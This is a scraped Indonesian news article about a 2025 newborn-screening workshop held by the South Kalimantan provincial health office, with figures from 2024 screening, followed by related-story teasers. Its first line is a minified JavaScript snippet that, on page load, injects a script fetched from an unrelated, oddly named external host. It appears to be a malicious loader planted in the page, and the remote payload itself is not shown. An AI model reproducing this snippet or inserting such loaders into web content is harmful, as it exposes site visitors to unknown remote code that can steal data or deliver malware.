(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan Workshop Skrining Bayi Baru Lahir (BBL) tahun 2025 sebagai bagian dari upaya strategis menurunkan angka kematian bayi dan meningkatkan kualitas hidup anak sejak dini.
Workshop dibuka secara virtual oleh Plt Kepala Dinas Kesehatan Provinsi Kalsel Muhamad Muslim yang diikuti ini tenaga kesehatan dari rumah sakit dan Puskesmas se Kalsel.
Plt Kadinkes Kalsel Muhammad Muslim menyampaikan pentingnya pelaksanaan skrining bayi baru lahir sebagai bentuk deteksi dini terhadap potensi gangguan kesehatan pada bayi, agar dapat dilakukan intervensi secepat mungkin.
“Skrining bayi baru lahir adalah investasi jangka panjang untuk mencetak generasi yang sehat dan berkualitas. Kami berharap, melalui workshop ini tenaga kesehatan di Kalsel semakin siap dan terlatih dalam pelaksanaan skrining yang menyeluruh sebelum bayi berusia dua bulan,” ujar Muslim.
Baca juga: Target KUR Kalsel 2025 Rp5,69 Triliun, Wagub Hasnur Minta Perluasan Penerima Manfaat
Program skrining BBL yang dilakukan di Indonesia mencakup sejumlah penyakit serius seperti Hipotiroid Kongenital (HK), Penyakit Jantung Bawaan (PJB), Hiperplasia Adrenal Kongenital (HAK), dan defisiensi enzim G6PD.
Deteksi dini terhadap penyakit ini sangat penting, mengingat keterlambatan penanganan dapat berdampak fatal terhadap tumbuh kembang anak.
Sepanjang tahun 2024, Provinsi Kalsel telah mencatat kemajuan signifikan dalam pelaksanaan skrining. Sebanyak 16.703 sampel skrining HK diperiksa, dengan hasil 2 bayi positif Hipotiroid Kongenital. Sementara itu, untuk skrining PJB, sebanyak 35.409 bayi atau 48,31 persen dari total sasaran telah diperiksa, dan 20 bayi terdeteksi gagal skrining, yang kemudian ditindaklanjuti dengan pemeriksaan lanjutan dan tata laksana awal.
Baca juga: Kejurprov Menembak 2005 Digelar di BSR Banjarmasin, 17 Kelas Dipertandingkan
Workshop juga menjadi wadah koordinasi lintas sektor, termasuk dengan rumah sakit rujukan seperti RSUP Dr Sardjito Yogyakarta yang telah menjadi mitra pengolahan sampel skrining sejak 2023.
“Kunci sukses dari program ini bukan hanya pada alat dan teknologi, tetapi juga pada komitmen, kompetensi, dan sinergi antara tenaga kesehatan, pemerintah, serta masyarakat,” tambah Muslim.
Dengan semangat menuju pencapaian target Sustainable Development Goals (SDGs) dan menurunkan angka kematian neonatal, Dinas Kesehatan Provinsi Kalimantan Selatan berkomitmen untuk memperluas cakupan dan kualitas program skrining bayi baru lahir ke seluruh kabupaten/kota di wilayahnya. (Kanalkalimantan.com/mckalsel)
Reporter: mckalsel
Editor: kk
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
This website uses cookies.